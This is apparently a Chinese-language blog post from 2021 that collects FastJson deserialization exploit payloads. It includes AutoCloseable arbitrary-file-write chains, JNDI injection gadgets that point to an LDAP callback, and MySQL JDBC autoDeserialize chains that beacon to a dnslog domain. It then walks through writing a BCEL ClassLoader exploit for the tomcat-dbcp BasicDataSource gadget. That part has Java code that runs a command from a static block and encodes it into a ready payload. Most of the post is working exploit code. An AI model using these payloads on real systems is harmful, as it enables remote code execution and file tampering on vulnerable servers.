AutoCloseable 任意文件写入
 

{
    "stream":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"java.io.FileOutputStream",
        "file":"/tmp/nonexist",
        "append":false
    },
    "writer":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.apache.solr.common.util.FastOutputStream",
        "tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
        "sink":
        {
            "$ref":"$.stream"
        },
        "start":38
    },
    "close":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.iq80.snappy.SnappyOutputStream",
        "out":
        {
            "$ref":"$.writer"
        }
    }
}

 
AutoCloseable MarshalOutputStream 任意文件写入
 

{
    '@type': "java.lang.AutoCloseable",
    '@type': 'sun.rmi.server.MarshalOutputStream',
    'out': {
        '@type': 'java.util.zip.InflaterOutputStream',
        'out': {
            '@type': 'java.io.FileOutputStream',
            'file': 'dst',
            'append': false
        },
        'infl': {
            'input': {
                'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
                'limit': 22
            }
        },
        'bufLen': 1048576
    },
    'protocolVersion': 1
}

 
BasicDataSource
 

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassName": "true",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
    }

 
HikariConfig
 

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

 
HikariConfig
 

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

 
HikariConfig
 

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

 
SessionBeanProvider
 

{
    "@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "Object": "su18"
}

 
JMSContentInterceptor
 

{
    "@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
    "parameters": {
        "@type": "java.util.Hashtable",
        "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
        "topic-factory": "ldap://127.0.0.1:23457/Command8"
    },
    "namespace": ""
}

 
ContextClassLoaderSwitcher
 

{
    "@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
    "contextClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "a": {
        "@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
    }
}

 
OracleManagedConnectionFactory
 

{
    "@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
    "xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

 
JNDIConfiguration
 

{
    "@type": "org.apache.commons.configuration.JNDIConfiguration",
    "prefix": "ldap://127.0.0.1:23457/Command8"
}

 
JDBC4Connection
 

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "172.20.64.40",
    "portToConnectTo": 3306,
    "url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
    "databaseToConnectTo": "test",
    "info": {
        "@type": "java.util.Properties",
        "PORT": "3306",
        "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize": "true",
        "user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
        "PORT.1": "3306",
        "HOST.1": "172.20.64.40",
        "NUM_HOSTS": "1",
        "HOST": "172.20.64.40",
        "DBNAME": "test"
    }
}

 
LoadBalancedMySQLConnection
 

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
    "proxy": {
        "connectionString": {
            "url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
        }
    }
}

 
ReplicationMySQLConnection
 

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [{
                "host": "mysql.host"
            }],
            "slaves": [],
            "properties": {
                "host": "mysql.host",
                "user": "user",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true"
            }
        }
    }
}

 

FastJson在内网中的测试

 
参考:
 
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel
 
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
 
https://www.cnblogs.com/nice0e3/p/14949148.html
 
POC为
 

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

 
触发点在 org.apache.tomcat.dbcp.dbcp2.BasicDataSourcegetConnection 方法中,调用了 createDataSource 方法,跟进去看看
 

 
 

 
调用 createConnectionFactory
 

 
driverClassLoader 不为空的话,就按照这个 ClassLoader(也就是自定义ClassLoader),在P神的文章中也提到了这一点
 
 
到这边我们的 classnameclassloader 可控,那么我们怎么达到命令执行呢
 
这里面就要说一神器的ClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader
 

 

 
可以看到直接从 classname 中提取 Class 的 bytecode,如果 classname 中包含 $$BCEL$$ ,这个 ClassLoader 则会将 $$BCEL$$后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 获取 Class 对象
 

编写Exp
 
首先写一个类在其 static 代码区域里面写上我们的恶意代码
 

import java.io.IOException;

public class Test {
    static {
        try{
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        }
        catch (IOException e){
            e.printStackTrace();
        }
    }
}

 
在对其 Class 进行编码
 

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class Test1 {
    public static void main(String[] args) throws Exception{

        JavaClass cls = Repository.lookupClass(Test.class);
        String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
        String poc = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
                "        }\n" +
                "    }: \"bbb\"\n" +
                "}";
        System.out.println(poc);

    }
}

 
Pom配置为
 

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.8</version>
        </dependency>

 
在低版本的 FastJson 中测试一下
 

 
高版本是不行的,因为FastJson在高版本有黑名单,白名单的限制
 

 

其他

 
BasicDataSource类在旧版本的 tomcat-dbcp 包中(6.0.53、7.0.81等版本),对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource

 
POC为
 

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

 
同样的跟 JNDI 一样,再高版本的Jdk中,也是不可用的
 
参考: https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel
 

posted @ 2021-08-27 10:49  Zahad003  阅读(715)  评论(0编辑  收藏  举报